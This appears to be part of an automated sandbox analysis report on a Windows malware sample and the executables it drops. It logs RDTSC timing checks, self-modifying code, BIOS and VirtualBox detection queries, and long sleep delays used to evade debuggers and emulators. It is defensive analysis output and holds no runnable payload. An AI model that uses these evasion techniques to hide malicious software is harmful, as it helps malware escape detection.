Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190040 second address: 5190061 instructions: 0x00000000 rdtsc 0x00000002 movsx edx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE5C0825224h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190061 second address: 5190067 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190067 second address: 519006D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519006D second address: 51900F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825178h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FE5C082516Bh 0x00000011 xchg eax, ebp 0x00000012 jmp 00007FE5C0825176h 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a movzx ecx, dx 0x0000001d push ebx 0x0000001e mov edi, eax 0x00000020 pop esi 0x00000021 popad 0x00000022 and esp, FFFFFFF8h 0x00000025 pushad 0x00000026 push edx 0x00000027 mov ax, 4A69h 0x0000002b pop esi 0x0000002c pushfd 0x0000002d jmp 00007FE5C082516Fh 0x00000032 adc ax, 5D9Eh 0x00000037 jmp 00007FE5C0825179h 0x0000003c popfd 0x0000003d popad 0x0000003e xchg eax, ecx 0x0000003f pushad 0x00000040 push esi 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51900F8 second address: 5190179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushfd 0x00000006 jmp 00007FE5C0825226h 0x0000000b xor cx, D6C8h 0x00000010 jmp 00007FE5C082521Bh 0x00000015 popfd 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FE5C082521Fh 0x0000001f xor cx, 150Eh 0x00000024 jmp 00007FE5C0825229h 0x00000029 popfd 0x0000002a mov ecx, 1B571217h 0x0000002f popad 0x00000030 xchg eax, ecx 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FE5C0825229h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190179 second address: 51901CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FE5C082516Ch 0x00000011 or eax, 36DB2118h 0x00000017 jmp 00007FE5C082516Bh 0x0000001c popfd 0x0000001d mov edx, eax 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 call 00007FE5C082516Eh 0x00000029 pop esi 0x0000002a mov bx, FAB6h 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51901CA second address: 519022A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE5C082521Ah 0x00000009 sub al, FFFFFFA8h 0x0000000c jmp 00007FE5C082521Bh 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007FE5C0825228h 0x00000018 sbb esi, 36B83508h 0x0000001e jmp 00007FE5C082521Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 xchg eax, ebx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FE5C0825220h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519022A second address: 5190230 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190230 second address: 51902D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edi 0x00000005 pushfd 0x00000006 jmp 00007FE5C0825228h 0x0000000b or cl, FFFFFFC8h 0x0000000e jmp 00007FE5C082521Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov ebx, dword ptr [ebp+10h] 0x0000001a jmp 00007FE5C0825226h 0x0000001f xchg eax, esi 0x00000020 jmp 00007FE5C0825220h 0x00000025 push eax 0x00000026 jmp 00007FE5C082521Bh 0x0000002b xchg eax, esi 0x0000002c jmp 00007FE5C0825226h 0x00000031 mov esi, dword ptr [ebp+08h] 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 mov esi, edi 0x00000039 call 00007FE5C0825229h 0x0000003e pop ecx 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51902D0 second address: 51902D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51902D6 second address: 51902DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51902DA second address: 51902FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 pushad 0x0000000a mov di, ax 0x0000000d mov cx, AF1Dh 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 mov si, dx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FE5C082516Bh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51902FE second address: 5190302 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190302 second address: 5190389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, edi 0x00000008 pushad 0x00000009 mov ch, 98h 0x0000000b pushfd 0x0000000c jmp 00007FE5C0825177h 0x00000011 adc cl, FFFFFFEEh 0x00000014 jmp 00007FE5C0825179h 0x00000019 popfd 0x0000001a popad 0x0000001b test esi, esi 0x0000001d jmp 00007FE5C082516Eh 0x00000022 je 00007FE6325C3428h 0x00000028 jmp 00007FE5C0825170h 0x0000002d cmp dword ptr [esi+08h], DDEEDDEEh 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FE5C0825177h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190389 second address: 51903CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825229h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FE6325C349Bh 0x0000000f jmp 00007FE5C082521Eh 0x00000014 mov edx, dword ptr [esi+44h] 0x00000017 pushad 0x00000018 mov cx, 65EDh 0x0000001c mov ebx, esi 0x0000001e popad 0x0000001f or edx, dword ptr [ebp+0Ch] 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51903CD second address: 51903E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5C0825177h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51903E9 second address: 51903F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518083E second address: 5180842 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180842 second address: 5180848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180848 second address: 518084E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518084E second address: 518085D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518085D second address: 5180861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180861 second address: 5180867 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180867 second address: 518087A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5C082516Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518087A second address: 518087E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518087E second address: 51808F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FE5C0825174h 0x0000000e xchg eax, ebx 0x0000000f jmp 00007FE5C0825170h 0x00000014 xchg eax, esi 0x00000015 jmp 00007FE5C0825170h 0x0000001a push eax 0x0000001b jmp 00007FE5C082516Bh 0x00000020 xchg eax, esi 0x00000021 pushad 0x00000022 mov ebx, eax 0x00000024 mov bx, si 0x00000027 popad 0x00000028 mov esi, dword ptr [ebp+08h] 0x0000002b jmp 00007FE5C082516Ah 0x00000030 sub ebx, ebx 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FE5C082516Dh 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51808F0 second address: 5180904 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 703FF307h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, B8h 0x0000000b popad 0x0000000c test esi, esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180904 second address: 518090A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518090A second address: 518097E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE5C0825229h 0x00000009 sub ah, 00000056h 0x0000000c jmp 00007FE5C0825221h 0x00000011 popfd 0x00000012 push esi 0x00000013 pop edx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 je 00007FE6325CAC63h 0x0000001d pushad 0x0000001e mov edi, eax 0x00000020 pushfd 0x00000021 jmp 00007FE5C0825224h 0x00000026 xor ax, F6A8h 0x0000002b jmp 00007FE5C082521Bh 0x00000030 popfd 0x00000031 popad 0x00000032 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518097E second address: 5180982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180982 second address: 5180986 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180986 second address: 518098C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518098C second address: 51809E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C082521Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, esi 0x0000000b jmp 00007FE5C0825220h 0x00000010 je 00007FE6325CAC0Dh 0x00000016 pushad 0x00000017 movzx eax, bx 0x0000001a mov cx, di 0x0000001d popad 0x0000001e test byte ptr [76FB6968h], 00000002h 0x00000025 jmp 00007FE5C0825225h 0x0000002a jne 00007FE6325CABF6h 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51809E2 second address: 51809E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51809E6 second address: 51809EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51809EA second address: 51809F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51809F0 second address: 5180A0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825222h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180A0F second address: 5180A2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180A2C second address: 5180A53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE5C0825227h 0x00000008 pop eax 0x00000009 mov dh, 50h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180A53 second address: 5180A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180A57 second address: 5180A74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825229h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180A74 second address: 5180AE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FE5C0825177h 0x00000011 xor esi, 614F298Eh 0x00000017 jmp 00007FE5C0825179h 0x0000001c popfd 0x0000001d mov ax, 3C97h 0x00000021 popad 0x00000022 xchg eax, ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FE5C0825179h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180AE4 second address: 5180AFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825221h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180AFF second address: 5180B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180B06 second address: 5180B9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE5C0825220h 0x00000009 adc al, FFFFFFC8h 0x0000000c jmp 00007FE5C082521Bh 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007FE5C0825228h 0x00000018 adc ecx, 011FB328h 0x0000001e jmp 00007FE5C082521Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 push eax 0x00000028 jmp 00007FE5C0825229h 0x0000002d xchg eax, ebx 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 movsx edi, ax 0x00000034 pushfd 0x00000035 jmp 00007FE5C0825224h 0x0000003a add ch, FFFFFFE8h 0x0000003d jmp 00007FE5C082521Bh 0x00000042 popfd 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180B9D second address: 5180BA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190B8C second address: 5190B92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190B92 second address: 5190B98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190B98 second address: 5190B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190B9C second address: 5190BB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C082516Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190BB7 second address: 5190BBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190BBB second address: 5190BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5190BC1 second address: 5190BC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A3D9CF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A44C66 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AC76D6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 5ED9CF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 5F4C66 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 6776D6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Special instruction interceptor: First address: CCA7AD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Special instruction interceptor: First address: CC8666 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Special instruction interceptor: First address: EA2A8C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Special instruction interceptor: First address: F01BF8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Special instruction interceptor: First address: D6FC5D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Special instruction interceptor: First address: D6FD40 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Special instruction interceptor: First address: FA2B70 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	Special instruction interceptor: First address: F8DB34 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	Special instruction interceptor: First address: 1134D13 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05200D04 rdtsc

0_2_05200D04

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1211	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 470	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1146	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

API coverage: 3.6 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7108	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6888	Thread sleep count: 1211 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6888	Thread sleep time: -2423211s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4268	Thread sleep count: 470 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4268	Thread sleep time: -14100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4280	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6864	Thread sleep count: 1146 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6864	Thread sleep time: -2293146s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe TID: 6744	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe TID: 5232	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe TID: 928	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe TID: 2832	Thread sleep time: -120000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009ADBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	13_2_009ADBBE
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009B68EE FindFirstFileW,FindClose,	13_2_009B68EE
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009B698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	13_2_009B698F
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009AD076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	13_2_009AD076
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009AD3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	13_2_009AD3A9
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009B9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	13_2_009B9642
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009B979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	13_2_009B979D
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009B9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	13_2_009B9B2B
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009B5C97 FindFirstFileW,FindNextFileW,FindClose,	13_2_009B5C97

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Code function: 13_2_009442DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

13_2_009442DE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: 11caca4b5d.exe, 11caca4b5d.exe, 0000000C.00000002.4118341426.0000000000E5D000.00000040.00000001.01000000.00000009.sdmp, 95716ab34b.exe, 95716ab34b.exe, 0000001D.00000002.4119544880.0000000000EF7000.00000040.00000001.01000000.0000000A.sdmp, d764c66987.exe, 0000001E.00000002.4125595982.000000000110B000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
